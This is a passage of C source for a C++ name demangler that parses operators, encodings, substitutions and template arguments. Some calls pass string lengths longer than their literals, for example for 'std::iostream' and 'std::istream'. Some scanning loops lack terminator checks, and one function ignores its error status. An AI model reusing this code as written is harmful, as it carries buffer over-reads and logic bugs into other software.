default:
return (0);
};
case 'd':
++ddata->cur;
return (cpp_demangle_push_fp(ddata, decode_fp_to_double));
case 'e':
++ddata->cur;
if (sizeof(long double) == 10)
return (cpp_demangle_push_fp(ddata,
decode_fp_to_double));
return (cpp_demangle_push_fp(ddata, decode_fp_to_float80));
case 'f':
++ddata->cur;
return (cpp_demangle_push_fp(ddata, decode_fp_to_float));
case 'g':
++ddata->cur;
if (sizeof(long double) == 16)
return (cpp_demangle_push_fp(ddata,
decode_fp_to_double));
return (cpp_demangle_push_fp(ddata, decode_fp_to_float128));
case 'i':
case 'j':
case 'l':
case 'm':
case 'n':
case 's':
case 't':
case 'x':
case 'y':
if (*(++ddata->cur) == 'n') {
if (!cpp_demangle_push_str(ddata, "-", 1))
return (0);
++ddata->cur;
}
num = ddata->cur;
while (*ddata->cur != 'E') {
if (!ELFTC_ISDIGIT(*ddata->cur))
return (0);
++ddata->cur;
}
++ddata->cur;
return (cpp_demangle_push_str(ddata, num, ddata->cur - num));
default:
return (0);
};
}
static int
cpp_demangle_read_expression(struct cpp_demangle_data *ddata)
{
if (ddata == NULL || *ddata->cur == '\0')
return (0);
switch (SIMPLE_HASH(*ddata->cur, *(ddata->cur + 1))) {
case SIMPLE_HASH('s', 't'):
ddata->cur += 2;
return (cpp_demangle_read_type(ddata, 0));
case SIMPLE_HASH('s', 'r'):
ddata->cur += 2;
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if (!cpp_demangle_read_uqname(ddata))
return (0);
if (*ddata->cur == 'I')
return (cpp_demangle_read_tmpl_args(ddata));
return (1);
case SIMPLE_HASH('a', 'a'):
/* operator && */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "&&", 2));
case SIMPLE_HASH('a', 'd'):
/* operator & (unary) */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "&", 1));
case SIMPLE_HASH('a', 'n'):
/* operator & */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "&", 1));
case SIMPLE_HASH('a', 'N'):
/* operator &= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "&=", 2));
case SIMPLE_HASH('a', 'S'):
/* operator = */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "=", 1));
case SIMPLE_HASH('c', 'l'):
/* operator () */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "()", 2));
case SIMPLE_HASH('c', 'm'):
/* operator , */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, ",", 1));
case SIMPLE_HASH('c', 'o'):
/* operator ~ */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "~", 1));
case SIMPLE_HASH('c', 'v'):
/* operator (cast) */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "(cast)", 6));
case SIMPLE_HASH('d', 'a'):
/* operator delete [] */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "delete []", 9));
case SIMPLE_HASH('d', 'e'):
/* operator * (unary) */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "*", 1));
case SIMPLE_HASH('d', 'l'):
/* operator delete */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "delete", 6));
case SIMPLE_HASH('d', 'v'):
/* operator / */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "/", 1));
case SIMPLE_HASH('d', 'V'):
/* operator /= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "/=", 2));
case SIMPLE_HASH('e', 'o'):
/* operator ^ */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "^", 1));
case SIMPLE_HASH('e', 'O'):
/* operator ^= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "^=", 2));
case SIMPLE_HASH('e', 'q'):
/* operator == */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "==", 2));
case SIMPLE_HASH('g', 'e'):
/* operator >= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, ">=", 2));
case SIMPLE_HASH('g', 't'):
/* operator > */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, ">", 1));
case SIMPLE_HASH('i', 'x'):
/* operator [] */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "[]", 2));
case SIMPLE_HASH('l', 'e'):
/* operator <= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "<=", 2));
case SIMPLE_HASH('l', 's'):
/* operator << */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "<<", 2));
case SIMPLE_HASH('l', 'S'):
/* operator <<= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "<<=", 3));
case SIMPLE_HASH('l', 't'):
/* operator < */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "<", 1));
case SIMPLE_HASH('m', 'i'):
/* operator - */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "-", 1));
case SIMPLE_HASH('m', 'I'):
/* operator -= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "-=", 2));
case SIMPLE_HASH('m', 'l'):
/* operator * */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "*", 1));
case SIMPLE_HASH('m', 'L'):
/* operator *= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "*=", 2));
case SIMPLE_HASH('m', 'm'):
/* operator -- */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "--", 2));
case SIMPLE_HASH('n', 'a'):
/* operator new[] */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "new []", 6));
case SIMPLE_HASH('n', 'e'):
/* operator != */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "!=", 2));
case SIMPLE_HASH('n', 'g'):
/* operator - (unary) */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "-", 1));
case SIMPLE_HASH('n', 't'):
/* operator ! */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "!", 1));
case SIMPLE_HASH('n', 'w'):
/* operator new */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "new", 3));
case SIMPLE_HASH('o', 'o'):
/* operator || */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "||", 2));
case SIMPLE_HASH('o', 'r'):
/* operator | */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "|", 1));
case SIMPLE_HASH('o', 'R'):
/* operator |= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "|=", 2));
case SIMPLE_HASH('p', 'l'):
/* operator + */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "+", 1));
case SIMPLE_HASH('p', 'L'):
/* operator += */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "+=", 2));
case SIMPLE_HASH('p', 'm'):
/* operator ->* */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "->*", 3));
case SIMPLE_HASH('p', 'p'):
/* operator ++ */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "++", 2));
case SIMPLE_HASH('p', 's'):
/* operator + (unary) */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "+", 1));
case SIMPLE_HASH('p', 't'):
/* operator -> */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "->", 2));
case SIMPLE_HASH('q', 'u'):
/* operator ? */
ddata->cur += 2;
return (cpp_demangle_read_expression_trinary(ddata, "?", 1,
":", 1));
case SIMPLE_HASH('r', 'm'):
/* operator % */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "%", 1));
case SIMPLE_HASH('r', 'M'):
/* operator %= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, "%=", 2));
case SIMPLE_HASH('r', 's'):
/* operator >> */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, ">>", 2));
case SIMPLE_HASH('r', 'S'):
/* operator >>= */
ddata->cur += 2;
return (cpp_demangle_read_expression_binary(ddata, ">>=", 3));
case SIMPLE_HASH('r', 'z'):
/* operator sizeof */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "sizeof", 6));
case SIMPLE_HASH('s', 'v'):
/* operator sizeof */
ddata->cur += 2;
return (cpp_demangle_read_expression_unary(ddata, "sizeof", 6));
};
switch (*ddata->cur) {
case 'L':
return (cpp_demangle_read_expr_primary(ddata));
case 'T':
return (cpp_demangle_read_tmpl_param(ddata));
};
return (0);
}
static int
cpp_demangle_read_expression_binary(struct cpp_demangle_data *ddata,
const char *name, size_t len)
{
if (ddata == NULL || name == NULL || len == 0)
return (0);
if (!cpp_demangle_read_expression(ddata))
return (0);
if (!cpp_demangle_push_str(ddata, name, len))
return (0);
return (cpp_demangle_read_expression(ddata));
}
static int
cpp_demangle_read_expression_unary(struct cpp_demangle_data *ddata,
const char *name, size_t len)
{
if (ddata == NULL || name == NULL || len == 0)
return (0);
if (!cpp_demangle_read_expression(ddata))
return (0);
return (cpp_demangle_push_str(ddata, name, len));
}
static int
cpp_demangle_read_expression_trinary(struct cpp_demangle_data *ddata,
const char *name1, size_t len1, const char *name2, size_t len2)
{
if (ddata == NULL || name1 == NULL || len1 == 0 || name2 == NULL ||
len2 == 0)
return (0);
if (!cpp_demangle_read_expression(ddata))
return (0);
if (!cpp_demangle_push_str(ddata, name1, len1))
return (0);
if (!cpp_demangle_read_expression(ddata))
return (0);
if (!cpp_demangle_push_str(ddata, name2, len2))
return (0);
return (cpp_demangle_read_expression(ddata));
}
static int
cpp_demangle_read_function(struct cpp_demangle_data *ddata, int *ext_c,
struct vector_type_qualifier *v)
{
size_t class_type_size, class_type_len, limit;
const char *class_type;
if (ddata == NULL || *ddata->cur != 'F' || v == NULL)
return (0);
++ddata->cur;
if (*ddata->cur == 'Y') {
if (ext_c != NULL)
*ext_c = 1;
++ddata->cur;
}
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if (*ddata->cur != 'E') {
if (!cpp_demangle_push_str(ddata, "(", 1))
return (0);
if (vector_read_cmd_find(&ddata->cmd, READ_PTRMEM)) {
if ((class_type_size = ddata->class_type.size) == 0)
return (0);
class_type =
ddata->class_type.container[class_type_size - 1];
if (class_type == NULL)
return (0);
if ((class_type_len = strlen(class_type)) == 0)
return (0);
if (!cpp_demangle_push_str(ddata, class_type,
class_type_len))
return (0);
if (!cpp_demangle_push_str(ddata, "::*", 3))
return (0);
++ddata->func_type;
} else {
if (!cpp_demangle_push_type_qualifier(ddata, v,
(const char *) NULL))
return (0);
vector_type_qualifier_dest(v);
if (!vector_type_qualifier_init(v))
return (0);
}
if (!cpp_demangle_push_str(ddata, ")(", 2))
return (0);
limit = 0;
for (;;) {
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if (*ddata->cur == 'E')
break;
if (limit++ > CPP_DEMANGLE_TRY_LIMIT)
return (0);
}
if (vector_read_cmd_find(&ddata->cmd, READ_PTRMEM) == 1) {
if (!cpp_demangle_push_type_qualifier(ddata, v,
(const char *) NULL))
return (0);
vector_type_qualifier_dest(v);
if (!vector_type_qualifier_init(v))
return (0);
}
if (!cpp_demangle_push_str(ddata, ")", 1))
return (0);
}
++ddata->cur;
return (1);
}
/* read encoding, encoding are function name, data name, special-name */
static int
cpp_demangle_read_encoding(struct cpp_demangle_data *ddata)
{
if (ddata == NULL || *ddata->cur == '\0')
return (0);
/* special name */
switch (SIMPLE_HASH(*ddata->cur, *(ddata->cur + 1))) {
case SIMPLE_HASH('G', 'V'):
/* sentry object for 1 time init */
if (!cpp_demangle_push_str(ddata, "guard variable for ", 20))
return (0);
ddata->cur += 2;
break;
case SIMPLE_HASH('T', 'c'):
/* virtual function covariant override thunk */
if (!cpp_demangle_push_str(ddata,
"virtual function covariant override ", 36))
return (0);
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
if (!cpp_demangle_read_offset(ddata))
return (0);
if (!cpp_demangle_read_offset(ddata))
return (0);
return (cpp_demangle_read_encoding(ddata));
case SIMPLE_HASH('T', 'D'):
/* typeinfo common proxy */
break;
case SIMPLE_HASH('T', 'h'):
/* virtual function non-virtual override thunk */
if (cpp_demangle_push_str(ddata,
"virtual function non-virtual override ", 38) == 0)
return (0);
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
if (!cpp_demangle_read_nv_offset(ddata))
return (0);
return (cpp_demangle_read_encoding(ddata));
case SIMPLE_HASH('T', 'I'):
/* typeinfo structure */
/* FALLTHROUGH */
case SIMPLE_HASH('T', 'S'):
/* RTTI name (NTBS) */
if (!cpp_demangle_push_str(ddata, "typeinfo for ", 14))
return (0);
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
return (cpp_demangle_read_type(ddata, 1));
case SIMPLE_HASH('T', 'T'):
/* VTT table */
if (!cpp_demangle_push_str(ddata, "VTT for ", 8))
return (0);
ddata->cur += 2;
return (cpp_demangle_read_type(ddata, 1));
case SIMPLE_HASH('T', 'v'):
/* virtual function virtual override thunk */
if (!cpp_demangle_push_str(ddata,
"virtual function virtual override ", 34))
return (0);
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
if (!cpp_demangle_read_v_offset(ddata))
return (0);
return (cpp_demangle_read_encoding(ddata));
case SIMPLE_HASH('T', 'V'):
/* virtual table */
if (!cpp_demangle_push_str(ddata, "vtable for ", 12))
return (0);
ddata->cur += 2;
if (*ddata->cur == '\0')
return (0);
return (cpp_demangle_read_type(ddata, 1));
};
return (cpp_demangle_read_name(ddata));
}
static int
cpp_demangle_read_local_name(struct cpp_demangle_data *ddata)
{
size_t limit;
if (ddata == NULL)
return (0);
if (*(++ddata->cur) == '\0')
return (0);
if (!cpp_demangle_read_encoding(ddata))
return (0);
limit = 0;
for (;;) {
if (!cpp_demangle_read_type(ddata, 1))
return (0);
if (*ddata->cur == 'E')
break;
if (limit++ > CPP_DEMANGLE_TRY_LIMIT)
return (0);
}
if (*(++ddata->cur) == '\0')
return (0);
if (ddata->paren == true) {
if (!cpp_demangle_push_str(ddata, ")", 1))
return (0);
ddata->paren = false;
}
if (*ddata->cur == 's')
++ddata->cur;
else {
if (!cpp_demangle_push_str(ddata, "::", 2))
return (0);
if (!cpp_demangle_read_name(ddata))
return (0);
}
if (*ddata->cur == '_') {
++ddata->cur;
while (ELFTC_ISDIGIT(*ddata->cur) != 0)
++ddata->cur;
}
return (1);
}
static int
cpp_demangle_read_name(struct cpp_demangle_data *ddata)
{
struct vector_str *output, v;
size_t p_idx, subst_str_len;
int rtn;
char *subst_str;
if (ddata == NULL || *ddata->cur == '\0')
return (0);
output = ddata->push_head > 0 ? &ddata->output_tmp : &ddata->output;
subst_str = NULL;
switch (*ddata->cur) {
case 'S':
return (cpp_demangle_read_subst(ddata));
case 'N':
return (cpp_demangle_read_nested_name(ddata));
case 'Z':
return (cpp_demangle_read_local_name(ddata));
};
if (!vector_str_init(&v))
return (0);
p_idx = output->size;
rtn = 0;
if (!cpp_demangle_read_uqname(ddata))
goto clean;
if ((subst_str = vector_str_substr(output, p_idx, output->size - 1,
&subst_str_len)) == NULL)
goto clean;
if (subst_str_len > 8 && strstr(subst_str, "operator") != NULL) {
rtn = 1;
goto clean;
}
if (!vector_str_push(&v, subst_str, subst_str_len))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &v))
goto clean;
if (*ddata->cur == 'I') {
p_idx = output->size;
if (!cpp_demangle_read_tmpl_args(ddata))
goto clean;
free(subst_str);
if ((subst_str = vector_str_substr(output, p_idx,
output->size - 1, &subst_str_len)) == NULL)
goto clean;
if (!vector_str_push(&v, subst_str, subst_str_len))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &v))
goto clean;
}
rtn = 1;
clean:
free(subst_str);
vector_str_dest(&v);
return (rtn);
}
static int
cpp_demangle_read_nested_name(struct cpp_demangle_data *ddata)
{
struct vector_str *output, v;
size_t limit, p_idx, subst_str_len;
int rtn;
char *subst_str;
if (ddata == NULL || *ddata->cur != 'N')
return (0);
if (*(++ddata->cur) == '\0')
return (0);
while (*ddata->cur == 'r' || *ddata->cur == 'V' ||
*ddata->cur == 'K') {
switch (*ddata->cur) {
case 'r':
ddata->mem_rst = true;
break;
case 'V':
ddata->mem_vat = true;
break;
case 'K':
ddata->mem_cst = true;
break;
};
++ddata->cur;
}
output = ddata->push_head > 0 ? &ddata->output_tmp : &ddata->output;
if (!vector_str_init(&v))
return (0);
rtn = 0;
limit = 0;
for (;;) {
p_idx = output->size;
switch (*ddata->cur) {
case 'I':
if (!cpp_demangle_read_tmpl_args(ddata))
goto clean;
break;
case 'S':
if (!cpp_demangle_read_subst(ddata))
goto clean;
break;
case 'T':
if (!cpp_demangle_read_tmpl_param(ddata))
goto clean;
break;
default:
if (!cpp_demangle_read_uqname(ddata))
goto clean;
};
if ((subst_str = vector_str_substr(output, p_idx,
output->size - 1, &subst_str_len)) == NULL)
goto clean;
if (!vector_str_push(&v, subst_str, subst_str_len)) {
free(subst_str);
goto clean;
}
free(subst_str);
if (!cpp_demangle_push_subst_v(ddata, &v))
goto clean;
if (*ddata->cur == 'E')
break;
else if (*ddata->cur != 'I' &&
*ddata->cur != 'C' && *ddata->cur != 'D') {
if (!cpp_demangle_push_str(ddata, "::", 2))
goto clean;
if (!vector_str_push(&v, "::", 2))
goto clean;
}
if (limit++ > CPP_DEMANGLE_TRY_LIMIT)
goto clean;
}
++ddata->cur;
rtn = 1;
clean:
vector_str_dest(&v);
return (rtn);
}
/*
* read number
* number ::= [n] <decimal>
*/
static int
cpp_demangle_read_number(struct cpp_demangle_data *ddata, long *rtn)
{
long len, negative_factor;
if (ddata == NULL || rtn == NULL)
return (0);
negative_factor = 1;
if (*ddata->cur == 'n') {
negative_factor = -1;
++ddata->cur;
}
if (ELFTC_ISDIGIT(*ddata->cur) == 0)
return (0);
errno = 0;
if ((len = strtol(ddata->cur, (char **) NULL, 10)) == 0 &&
errno != 0)
return (0);
while (ELFTC_ISDIGIT(*ddata->cur) != 0)
++ddata->cur;
assert(len >= 0);
assert(negative_factor == 1 || negative_factor == -1);
*rtn = len * negative_factor;
return (1);
}
static int
cpp_demangle_read_nv_offset(struct cpp_demangle_data *ddata)
{
if (ddata == NULL)
return (0);
if (!cpp_demangle_push_str(ddata, "offset : ", 9))
return (0);
return (cpp_demangle_read_offset_number(ddata));
}
/* read offset, offset are nv-offset, v-offset */
static int
cpp_demangle_read_offset(struct cpp_demangle_data *ddata)
{
if (ddata == NULL)
return (0);
if (*ddata->cur == 'h') {
++ddata->cur;
return (cpp_demangle_read_nv_offset(ddata));
} else if (*ddata->cur == 'v') {
++ddata->cur;
return (cpp_demangle_read_v_offset(ddata));
}
return (0);
}
static int
cpp_demangle_read_offset_number(struct cpp_demangle_data *ddata)
{
bool negative;
const char *start;
if (ddata == NULL || *ddata->cur == '\0')
return (0);
/* offset could be negative */
if (*ddata->cur == 'n') {
negative = true;
start = ddata->cur + 1;
} else {
negative = false;
start = ddata->cur;
}
while (*ddata->cur != '_')
++ddata->cur;
if (negative && !cpp_demangle_push_str(ddata, "-", 1))
return (0);
assert(start != NULL);
if (!cpp_demangle_push_str(ddata, start, ddata->cur - start))
return (0);
if (!cpp_demangle_push_str(ddata, " ", 1))
return (0);
++ddata->cur;
return (1);
}
static int
cpp_demangle_read_pointer_to_member(struct cpp_demangle_data *ddata)
{
size_t class_type_len, i, idx, p_idx;
int p_func_type, rtn;
char *class_type;
if (ddata == NULL || *ddata->cur != 'M' || *(++ddata->cur) == '\0')
return (0);
p_idx = ddata->output.size;
if (!cpp_demangle_read_type(ddata, 0))
return (0);
if ((class_type = vector_str_substr(&ddata->output, p_idx,
ddata->output.size - 1, &class_type_len)) == NULL)
return (0);
rtn = 0;
idx = ddata->output.size;
for (i = p_idx; i < idx; ++i)
if (!vector_str_pop(&ddata->output))
goto clean1;
if (!vector_read_cmd_push(&ddata->cmd, READ_PTRMEM))
goto clean1;
if (!vector_str_push(&ddata->class_type, class_type, class_type_len))
goto clean2;
p_func_type = ddata->func_type;
if (!cpp_demangle_read_type(ddata, 0))
goto clean3;
if (p_func_type == ddata->func_type) {
if (!cpp_demangle_push_str(ddata, " ", 1))
goto clean3;
if (!cpp_demangle_push_str(ddata, class_type, class_type_len))
goto clean3;
if (!cpp_demangle_push_str(ddata, "::*", 3))
goto clean3;
}
rtn = 1;
clean3:
if (!vector_str_pop(&ddata->class_type))
rtn = 0;
clean2:
if (!vector_read_cmd_pop(&ddata->cmd))
rtn = 0;
clean1:
free(class_type);
return (rtn);
}
/* read source-name, source-name is <len> <ID> */
static int
cpp_demangle_read_sname(struct cpp_demangle_data *ddata)
{
long len;
if (ddata == NULL || cpp_demangle_read_number(ddata, &len) == 0 ||
len <= 0 || cpp_demangle_push_str(ddata, ddata->cur, len) == 0)
return (0);
assert(ddata->output.size > 0);
if (vector_read_cmd_find(&ddata->cmd, READ_TMPL) == 0)
ddata->last_sname =
ddata->output.container[ddata->output.size - 1];
ddata->cur += len;
return (1);
}
static int
cpp_demangle_read_subst(struct cpp_demangle_data *ddata)
{
long nth;
if (ddata == NULL || *ddata->cur == '\0')
return (0);
/* abbreviations of the form Sx */
switch (SIMPLE_HASH(*ddata->cur, *(ddata->cur + 1))) {
case SIMPLE_HASH('S', 'a'):
/* std::allocator */
if (cpp_demangle_push_str(ddata, "std::allocator", 14) == 0)
return (0);
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::allocator", 14));
return (1);
case SIMPLE_HASH('S', 'b'):
/* std::basic_string */
if (!cpp_demangle_push_str(ddata, "std::basic_string", 17))
return (0);
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::basic_string", 17));
return (1);
case SIMPLE_HASH('S', 'd'):
/* std::basic_iostream<char, std::char_traits<char> > */
if (!cpp_demangle_push_str(ddata, "std::iostream", 19))
return (0);
ddata->last_sname = "iostream";
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::iostream", 19));
return (1);
case SIMPLE_HASH('S', 'i'):
/* std::basic_istream<char, std::char_traits<char> > */
if (!cpp_demangle_push_str(ddata, "std::istream", 18))
return (0);
ddata->last_sname = "istream";
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::istream", 18));
return (1);
case SIMPLE_HASH('S', 'o'):
/* std::basic_ostream<char, std::char_traits<char> > */
if (!cpp_demangle_push_str(ddata, "std::ostream", 18))
return (0);
ddata->last_sname = "istream";
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::ostream", 18));
return (1);
case SIMPLE_HASH('S', 's'):
/*
* std::basic_string<char, std::char_traits<char>,
* std::allocator<char> >
*
* a.k.a std::string
*/
if (!cpp_demangle_push_str(ddata, "std::string", 11))
return (0);
ddata->last_sname = "string";
ddata->cur += 2;
if (*ddata->cur == 'I')
return (cpp_demangle_read_subst_stdtmpl(ddata,
"std::string", 11));
return (1);
case SIMPLE_HASH('S', 't'):
/* std:: */
return (cpp_demangle_read_subst_std(ddata));
};
if (*(++ddata->cur) == '\0')
return (0);
/* substitution */
if (*ddata->cur == '_')
return (cpp_demangle_get_subst(ddata, 0));
else {
errno = 0;
/* substitution number is base 36 */
if ((nth = strtol(ddata->cur, (char **) NULL, 36)) == 0 &&
errno != 0)
return (0);
/* first was '_', so increase one */
++nth;
while (*ddata->cur != '_')
++ddata->cur;
assert(nth > 0);
return (cpp_demangle_get_subst(ddata, nth));
}
/* NOTREACHED */
return (0);
}
static int
cpp_demangle_read_subst_std(struct cpp_demangle_data *ddata)
{
struct vector_str *output, v;
size_t p_idx, subst_str_len;
int rtn;
char *subst_str;
if (ddata == NULL)
return (0);
if (!vector_str_init(&v))
return (0);
subst_str = NULL;
rtn = 0;
if (!cpp_demangle_push_str(ddata, "std::", 5))
goto clean;
if (!vector_str_push(&v, "std::", 5))
goto clean;
ddata->cur += 2;
output = ddata->push_head > 0 ? &ddata->output_tmp : &ddata->output;
p_idx = output->size;
if (!cpp_demangle_read_uqname(ddata))
goto clean;
if ((subst_str = vector_str_substr(output, p_idx, output->size - 1,
&subst_str_len)) == NULL)
goto clean;
if (!vector_str_push(&v, subst_str, subst_str_len))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &v))
goto clean;
if (*ddata->cur == 'I') {
p_idx = output->size;
if (!cpp_demangle_read_tmpl_args(ddata))
goto clean;
free(subst_str);
if ((subst_str = vector_str_substr(output, p_idx,
output->size - 1, &subst_str_len)) == NULL)
goto clean;
if (!vector_str_push(&v, subst_str, subst_str_len))
goto clean;
if (!cpp_demangle_push_subst_v(ddata, &v))
goto clean;
}
rtn = 1;
clean:
free(subst_str);
vector_str_dest(&v);
return (1);
}
static int
cpp_demangle_read_subst_stdtmpl(struct cpp_demangle_data *ddata,
const char *str, size_t len)
{
struct vector_str *output;
size_t p_idx, substr_len;
int rtn;
char *subst_str, *substr;
if (ddata == NULL || str == NULL || len == 0)
return (0);
output = ddata->push_head > 0 ? &ddata->output_tmp : &ddata->output;
p_idx = output->size;
substr = NULL;
subst_str = NULL;
if (!cpp_demangle_read_tmpl_args(ddata))
return (0);
if ((substr = vector_str_substr(output, p_idx, output->size - 1,
&substr_len)) == NULL)
return (0);
rtn = 0;
if ((subst_str = malloc(sizeof(char) * (substr_len + len + 1))) ==
NULL)
goto clean;
memcpy(subst_str, str, len);
memcpy(subst_str + len, substr, substr_len);
subst_str[substr_len + len] = '\0';
if (!cpp_demangle_push_subst(ddata, subst_str, substr_len + len))
goto clean;
rtn = 1;
clean:
free(subst_str);
free(substr);
return (rtn);
}
static int
cpp_demangle_read_tmpl_arg(struct cpp_demangle_data *ddata)
{
if (ddata == NULL || *ddata->cur == '\0')
return (0);
switch (*ddata->cur) {
case 'L':
return (cpp_demangle_read_expr_primary(ddata));
case 'X':
return (cpp_demangle_read_expression(ddata));
};
return (cpp_demangle_read_type(ddata, 0));
}
static int
cpp_demangle_read_tmpl_args(struct cpp_demangle_data *ddata)
{
struct vector_str *v;
size_t arg_len, idx, limit, size;
char *arg;
if (ddata == NULL || *ddata->cur == '\0')
return (0);
++ddata->cur;
if (!vector_read_cmd_push(&ddata->cmd, READ_TMPL))
return (0);
if (!cpp_demangle_push_str(ddata, "<", 1))
return (0);
limit = 0;
v = ddata->push_head > 0 ? &ddata->output_tmp : &ddata->output;
for (;;) {
idx = v->size;
if (!cpp_demangle_read_tmpl_arg(ddata))
return (0);
if ((arg = vector_str_substr(v, idx, v->size - 1, &arg_len)) ==
NULL)
return (0);
if (!vector_str_find(&ddata->tmpl, arg, arg_len) &&
!vector_str_push(&ddata->tmpl, arg, arg_len)) {
free(arg);
return (0);
}
free(arg);
if (*ddata->cur == 'E') {
++ddata->cur;
size = v->size;
assert(size > 0);
if (!strncmp(v->container[size - 1], ">", 1)) {
if (!cpp_demangle_push_str(ddata, " >", 2))
return (0);
} else if (!cpp_demangle_push_str(ddata, ">", 1))
return (0);
break;
} else if (*ddata->cur != 'I' &&
!cpp_demangle_push_str(ddata, ", ", 2))
return (0);
if (limit++ > CPP_DEMANGLE_TRY_LIMIT)
return (0);
}
return (vector_read_cmd_pop(&ddata->cmd));
}
/*
* Read template parameter that forms in 'T[number]_'.
* This function much like to read_subst but only for types.
*/
static int
cpp_demangle_read_tmpl_param(struct cpp_demangle_data *ddata)
{
long nth;
if (ddata == NULL || *ddata->cur != 'T')
return (0);
++ddata->cur;
if (*ddata->cur == '_')
return (cpp_demangle_get_tmpl_param(ddata, 0));
else {
errno = 0;
if ((nth = strtol(ddata->cur, (char **) NULL, 36)) == 0 &&
errno != 0)
return (0);
/* T_ is first */
++nth;
while (*ddata->cur != '_')
++ddata->cur;
assert(nth > 0);
return (cpp_demangle_get_tmpl_param(ddata, nth));
}
/* NOTREACHED */
return (0);
}
static int
cpp_demangle_read_type(struct cpp_demangle_data *ddata, int delimit)
{
struct vector_type_qualifier v;
struct vector_str *output;
size_t p_idx, type_str_len;
int extern_c, is_builtin;
long len;
char *type_str;
if (ddata == NULL)
return (0);
output = &ddata->output;
if (ddata->output.size > 0 && !strncmp(ddata->output.container[ddata->output.size - 1], ">", 1)) {
ddata->push_head++;
output = &ddata->output_tmp;
} else if (delimit == 1) {
if (ddata->paren == false) {
if (!cpp_demangle_push_str(ddata, "(", 1))
return (0);
if (ddata->output.size < 2)
return (0);
ddata->paren = true;
ddata->pfirst = true;
/* Need pop function name */
if (ddata->subst.size == 1 &&
!vector_str_pop(&ddata->subst))
return (0);
}
if (ddata->pfirst)
ddata->pfirst = false;
else if (*ddata->cur != 'I' &&
!cpp_demangle_push_str(ddata, ", ", 2))
return (0);
}
assert(output != NULL);
/*
* [r, V, K] [P, R, C, G, U] builtin, function, class-enum, array
* pointer-to-member, template-param, template-template-param, subst
*/
if (!vector_type_qualifier_init(&v))
return (0);
extern_c = 0;
is_builtin = 1;
p_idx = output->size;
type_str = NULL;
again:
/* builtin type */
switch (*ddata->cur) {
case 'a':
/* signed char */
if (!cpp_demangle_push_str(ddata, "signed char", 11))
goto clean;
++ddata->cur;
goto rtn;
case 'A':
/* array type */
if (!cpp_demangle_read_array(ddata))
goto clean;
is_builtin = 0;
goto rtn;
case 'b':
/* bool */
if (!cpp_demangle_push_str(ddata, "bool", 4))
goto clean;
++ddata->cur;
goto rtn;
case 'C':
/* complex pair */
if (!vector_type_qualifier_push(&v, TYPE_CMX))
goto clean;
++ddata->cur;
goto again;
case 'c':
/* char */
if (!cpp_demangle_push_str(ddata, "char", 4))
